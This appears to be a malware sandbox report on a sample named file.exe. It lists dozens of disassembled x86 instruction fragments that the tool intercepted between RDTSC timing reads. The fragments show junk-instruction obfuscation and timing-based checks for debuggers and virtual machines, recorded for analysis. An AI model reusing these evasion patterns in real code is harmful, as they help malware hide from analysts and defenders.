Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80675 second address: 4E80693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, eax 0x0000000f mov bl, al 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80693 second address: 4E806CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E14FCA65Eh 0x00000008 mov ch, 4Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f call 00007F4E14FCA663h 0x00000014 mov ecx, 45D853FFh 0x00000019 pop ecx 0x0000001a mov esi, ebx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806CF second address: 4E806D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806D3 second address: 4E806D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E806D9 second address: 4E80723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F4E14FBFA36h 0x0000000f push eax 0x00000010 jmp 00007F4E14FBFA2Bh 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4E14FBFA35h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80723 second address: 4E80748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E14FCA65Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80748 second address: 4E8074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8074E second address: 4E80752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80752 second address: 4E80772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E14FBFA35h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80772 second address: 4E8078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8078E second address: 4E80794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80794 second address: 4E80799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80799 second address: 4E807BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 5FAC879Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea eax, dword ptr [ebp-04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4E14FBFA32h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807BE second address: 4E807C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807C4 second address: 4E80811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E14FBFA2Ch 0x00000009 xor esi, 09E65B58h 0x0000000f jmp 00007F4E14FBFA2Bh 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b jmp 00007F4E14FBFA34h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F4E14FBFA2Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80811 second address: 4E8085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop esi 0x0000000f pushfd 0x00000010 jmp 00007F4E14FCA667h 0x00000015 xor eax, 52C744DEh 0x0000001b jmp 00007F4E14FCA669h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80934 second address: 4E80990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, cx 0x00000009 popad 0x0000000a mov eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4E14FBFA2Bh 0x00000015 sbb ecx, 60401A7Eh 0x0000001b jmp 00007F4E14FBFA39h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F4E14FBFA30h 0x00000027 sub ch, 00000078h 0x0000002a jmp 00007F4E14FBFA2Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80990 second address: 4E80996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80996 second address: 4E809A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809A5 second address: 4E809A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809A9 second address: 4E809C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809C1 second address: 4E809C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809C7 second address: 4E809CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E809CB second address: 4E809FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F4E14FCA65Fh 0x00000010 jmp 00007F4E14FCA663h 0x00000015 popfd 0x00000016 push eax 0x00000017 push edx 0x00000018 mov cl, 7Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80111 second address: 4E80160 instructions: 0x00000000 rdtsc 0x00000002 mov dx, EEF2h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov si, bx 0x0000000b popad 0x0000000c push 665CE89Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F4E14FBFA37h 0x0000001a or eax, 2FF97D9Eh 0x00000020 jmp 00007F4E14FBFA39h 0x00000025 popfd 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80160 second address: 4E801BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 13F9C3ECh 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F4E14FCA664h 0x00000017 sbb eax, 4654A1F8h 0x0000001d jmp 00007F4E14FCA65Bh 0x00000022 popfd 0x00000023 movzx esi, dx 0x00000026 popad 0x00000027 mov eax, dword ptr fs:[00000000h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801BA second address: 4E801D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801D6 second address: 4E801DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801DC second address: 4E801E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801E0 second address: 4E801E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E801E4 second address: 4E80210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov dx, si 0x0000000d movzx eax, dx 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4E14FBFA36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80210 second address: 4E80216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80216 second address: 4E8021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8021A second address: 4E80284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e jmp 00007F4E14FCA65Eh 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 mov bx, ax 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F4E14FCA666h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F4E14FCA65Dh 0x00000029 add ah, FFFFFFC6h 0x0000002c jmp 00007F4E14FCA661h 0x00000031 popfd 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80284 second address: 4E80289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80289 second address: 4E802AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802AB second address: 4E802C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802C6 second address: 4E802F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E14FCA65Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802F2 second address: 4E8033B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E14FBFA31h 0x00000009 sub ax, 4C46h 0x0000000e jmp 00007F4E14FBFA31h 0x00000013 popfd 0x00000014 mov si, 76F7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F4E14FBFA2Fh 0x00000024 mov ebx, eax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8033B second address: 4E80341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80341 second address: 4E80345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80345 second address: 4E80354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80354 second address: 4E80358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80358 second address: 4E8035E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8035E second address: 4E80377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80377 second address: 4E80391 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [75AB4538h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E14FCA65Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80391 second address: 4E80397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80397 second address: 4E8039B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8039B second address: 4E803AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, esi 0x00000010 mov ebx, esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803AE second address: 4E803C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FCA666h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803C8 second address: 4E8040E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a jmp 00007F4E14FBFA2Ch 0x0000000f nop 0x00000010 jmp 00007F4E14FBFA30h 0x00000015 push eax 0x00000016 pushad 0x00000017 movsx edx, cx 0x0000001a mov dx, cx 0x0000001d popad 0x0000001e nop 0x0000001f pushad 0x00000020 call 00007F4E14FBFA32h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8040E second address: 4E80452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 call 00007F4E14FCA661h 0x0000000a pushfd 0x0000000b jmp 00007F4E14FCA660h 0x00000010 sub esi, 45905188h 0x00000016 jmp 00007F4E14FCA65Bh 0x0000001b popfd 0x0000001c pop esi 0x0000001d popad 0x0000001e lea eax, dword ptr [ebp-10h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80452 second address: 4E80462 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80462 second address: 4E804EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F4E14FCA664h 0x00000016 add ecx, 4036C648h 0x0000001c jmp 00007F4E14FCA65Bh 0x00000021 popfd 0x00000022 mov ah, 79h 0x00000024 popad 0x00000025 mov dword ptr [ebp-18h], esp 0x00000028 jmp 00007F4E14FCA65Bh 0x0000002d mov eax, dword ptr fs:[00000018h] 0x00000033 jmp 00007F4E14FCA666h 0x00000038 mov ecx, dword ptr [eax+00000FDCh] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F4E14FCA667h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804EB second address: 4E804F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804F1 second address: 4E80539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d jmp 00007F4E14FCA666h 0x00000012 jns 00007F4E14FCA6CAh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F4E14FCA667h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70019 second address: 4E7009D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E14FBFA37h 0x00000009 or cx, 192Eh 0x0000000e jmp 00007F4E14FBFA39h 0x00000013 popfd 0x00000014 mov ax, CFB7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F4E14FBFA2Ah 0x00000021 push eax 0x00000022 pushad 0x00000023 mov al, dh 0x00000025 pushad 0x00000026 push eax 0x00000027 pop ebx 0x00000028 pushfd 0x00000029 jmp 00007F4E14FBFA34h 0x0000002e adc cx, 7108h 0x00000033 jmp 00007F4E14FBFA2Bh 0x00000038 popfd 0x00000039 popad 0x0000003a popad 0x0000003b xchg eax, ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f mov bx, 2702h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7009D second address: 4E70109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov eax, 2E922381h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007F4E14FCA65Ch 0x00000015 sub esp, 2Ch 0x00000018 jmp 00007F4E14FCA660h 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F4E14FCA65Eh 0x00000025 sub esi, 2315D0F8h 0x0000002b jmp 00007F4E14FCA65Bh 0x00000030 popfd 0x00000031 call 00007F4E14FCA668h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701CA second address: 4E701CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702D7 second address: 4E702DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702DD second address: 4E702E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7033B second address: 4E70352 instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, 367Dh 0x00000011 mov ecx, 1A44BD79h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70352 second address: 4E70368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E14FBFA32h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70368 second address: 4E703A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F4E85BB8769h 0x00000011 pushad 0x00000012 mov ecx, 1A60BE1Bh 0x00000017 mov ch, 20h 0x00000019 popad 0x0000001a js 00007F4E14FCA6B3h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F4E14FCA666h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E703A6 second address: 4E703E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov ebx, 1D8A9030h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [ebp-14h], edi 0x00000010 jmp 00007F4E14FBFA2Fh 0x00000015 jne 00007F4E85BADAFCh 0x0000001b pushad 0x0000001c pushad 0x0000001d jmp 00007F4E14FBFA32h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E703E1 second address: 4E7040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov cx, A1A7h 0x00000009 popad 0x0000000a mov ebx, dword ptr [ebp+08h] 0x0000000d jmp 00007F4E14FCA65Ah 0x00000012 lea eax, dword ptr [ebp-2Ch] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4E14FCA65Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7040A second address: 4E70438 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push esi 0x00000009 jmp 00007F4E14FBFA38h 0x0000000e mov dword ptr [esp], esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov edi, 56138080h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70438 second address: 4E7043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7043D second address: 4E70443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70504 second address: 4E7050B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7050B second address: 4E70521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, 0EECh 0x00000010 mov edi, 4F6A2DD8h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70521 second address: 4E60DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F4E85BB877Fh 0x00000011 xor eax, eax 0x00000013 jmp 00007F4E14FA3D8Ah 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b leave 0x0000001c retn 0004h 0x0000001f nop 0x00000020 jmp 00007F4E14FCA652h 0x00000022 cmp eax, 00000000h 0x00000025 setne cl 0x00000028 jmp 00007F4E14FCA652h 0x0000002a jmp 00007F4E14FCA652h 0x0000002c xor ebx, ebx 0x0000002e test cl, 00000001h 0x00000031 jne 00007F4E14FCA657h 0x00000033 jmp 00007F4E14FCA786h 0x00000038 call 00007F4E1952C535h 0x0000003d mov edi, edi 0x0000003f jmp 00007F4E14FCA65Eh 0x00000044 xchg eax, ebp 0x00000045 pushad 0x00000046 movzx esi, di 0x00000049 pushfd 0x0000004a jmp 00007F4E14FCA663h 0x0000004f adc ax, 5B4Eh 0x00000054 jmp 00007F4E14FCA669h 0x00000059 popfd 0x0000005a popad 0x0000005b push eax 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f mov ecx, edx 0x00000061 rdtsc
